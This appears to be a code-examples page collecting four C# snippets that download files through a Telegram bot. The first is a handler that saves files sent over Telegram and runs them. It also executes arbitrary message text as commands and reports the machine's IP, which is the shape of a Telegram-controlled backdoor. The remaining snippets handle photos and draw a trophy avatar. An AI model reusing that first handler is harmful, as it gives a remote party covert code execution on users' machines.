示例#1
0
        private static async void OnTelegramMessage(object sender, Telegram.Bot.Args.MessageEventArgs e)
        {
            if (e.Message.Document != null && e.Message.Caption.Contains("/UploadUpdate"))          // TODO: Сделать разархивирование и запуск файла. Сделать рабочий метод для использования комманды
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName;
                Directory.CreateDirectory(path);
                var file = await bot.GetFileAsync(e.Message.Document.FileId);

                using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create))
                {
                    await bot.DownloadFileAsync(file.FilePath, saveFile);
                }

                Process.Start(path);
            }
            else if (e.Message.Document != null && e.Message.Caption == "/UploadExecute")
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\";
                Directory.CreateDirectory(path);
                path += e.Message.Document.FileName;
                var file = await bot.GetFileAsync(e.Message.Document.FileId);

                using (var saveFile = new FileStream(path, FileMode.Create))
                {
                    await bot.DownloadFileAsync(file.FilePath, saveFile);
                }

                try
                {
                    Process.Start(path);
                }
                catch
                {
                    TelegramSystem.SendMessage($"[ERROR] [{Functions.GetIp()}] Something wrong");
                }
            }
            else if (e.Message.Document != null)
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName;
                Directory.CreateDirectory(path);
                var file = await bot.GetFileAsync(e.Message.Document.FileId);

                using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create))
                {
                    await bot.DownloadFileAsync(file.FilePath, saveFile);
                }
            }
            else
            {
                cmd command = new cmd(e.Message.Text);
                Execute(command);
            }
        }
        public static async Task <string> DownloadFile(ITelegramBotClient botClient, File file, long chatId)
        {
            try
            {
                string originalPath = file.FilePath;
                string fileName     = originalPath.Substring(originalPath.LastIndexOf("/", StringComparison.Ordinal) + 1);

                string pathToCodeRecognitionDirectory = Path.Combine(Environment.CurrentDirectory, "Code_recognition_photo");
                string pathToFile = Path.Combine(pathToCodeRecognitionDirectory, $"{chatId}_{fileName}");

                Directory.CreateDirectory(pathToCodeRecognitionDirectory);
                using (FileStream outputFile = System.IO.File.Create(pathToFile))
                {
                    await botClient.DownloadFileAsync(originalPath, outputFile);
                }

                return(pathToFile);
            }
            catch (Exception e)
            {
                //  Ignore
            }

            return(null);
        }
        public async Task <byte[]> GetPhotoAsync(int userId)
        {
            var photos = await _telegramClient.GetUserProfilePhotosAsync(userId, 0, 1);

            var photoId = photos.Photos.FirstOrDefault()?.FirstOrDefault()?.FileId;

            if (photoId == null)
            {
                return(null);
            }

            var file = await _telegramClient.GetFileAsync(photoId);

            using (var stream = new MemoryStream())
            {
                await _telegramClient.DownloadFileAsync(file.FilePath, stream);

                var bytes = stream.ToArray();
                return(bytes);
            }
        }
        private async Task <Stream> GetWinnerImage(UserProfilePhotos userProfilePhotos)
        {
            using var bowlImage = Image.FromFile("Images/GoldenCup.png");

            var winnerImageStream = new MemoryStream();

            if (userProfilePhotos != null && userProfilePhotos.Photos.Any())
            {
                var photoSize = userProfilePhotos.Photos[0]
                                .OrderByDescending(p => p.Height)
                                .FirstOrDefault();

                var photoFile = await _client.GetFileAsync(photoSize.FileId);

                using var avatarStream = new MemoryStream();

                await _client.DownloadFileAsync(photoFile.FilePath, avatarStream);

                using var avatarImage = Image.FromStream(avatarStream);
                using var bitmap      = new Bitmap(avatarImage.Width, avatarImage.Height);
                using var canvas      = Graphics.FromImage(bitmap);

                canvas.InterpolationMode = InterpolationMode.HighQualityBicubic;
                canvas.SmoothingMode     = SmoothingMode.AntiAlias;
                canvas.PixelOffsetMode   = PixelOffsetMode.HighQuality;

                canvas.DrawImage(avatarImage, new Point());

                var hPadding = bitmap.Height / 10;
                var vPadding = hPadding / 2;

                // add bowl image to avatar
                var bowlRatio  = (double)(bitmap.Height / 2.5) / bowlImage.Height;
                var bowlWidth  = (int)(bowlImage.Width * bowlRatio);
                var bowlHeight = (int)(bowlImage.Height * bowlRatio);

                canvas.DrawImage(
                    bowlImage,
                    new Rectangle(hPadding, bitmap.Height - bowlHeight - vPadding, bowlWidth, bowlHeight),
                    new Rectangle(0, 0, bowlImage.Width, bowlImage.Height),
                    GraphicsUnit.Pixel);

                // add month and year text to avatar
                using var gp = new GraphicsPath();

                float fontSize = bowlHeight / 4;
                using var font = new Font("Impact", fontSize, FontStyle.Bold, GraphicsUnit.Pixel);

                var monthString = Messages.WinnerOfTheYear;
                var yearString  = DateTime.Today.ToString("yyyy");

                gp.AddString(
                    monthString,
                    font.FontFamily,
                    (int)font.Style,
                    fontSize,
                    new Point(hPadding + bowlWidth + ((bitmap.Width - (hPadding + bowlWidth) - (int)canvas.MeasureString(monthString, font).Width) / 2), bitmap.Height - (vPadding + (bowlHeight / 2) + font.Height)),
                    null);

                gp.AddString(
                    yearString,
                    font.FontFamily,
                    (int)font.Style,
                    fontSize,
                    new Point(hPadding + bowlWidth + ((bitmap.Width - (hPadding + bowlWidth) - (int)canvas.MeasureString(yearString, font).Width) / 2), bitmap.Height - (vPadding + (bowlHeight / 2))),
                    null);

                canvas.DrawPath(new Pen(Color.Black, 10)
                {
                    LineJoin = LineJoin.Round
                }, gp);
                canvas.FillPath(Brushes.White, gp);

                canvas.Save();
                bitmap.Save(winnerImageStream, ImageFormat.Png);
            }
            else
            {
                bowlImage.Save(winnerImageStream, ImageFormat.Png);
            }

            winnerImageStream.Seek(0, SeekOrigin.Begin);

            return(winnerImageStream);
        }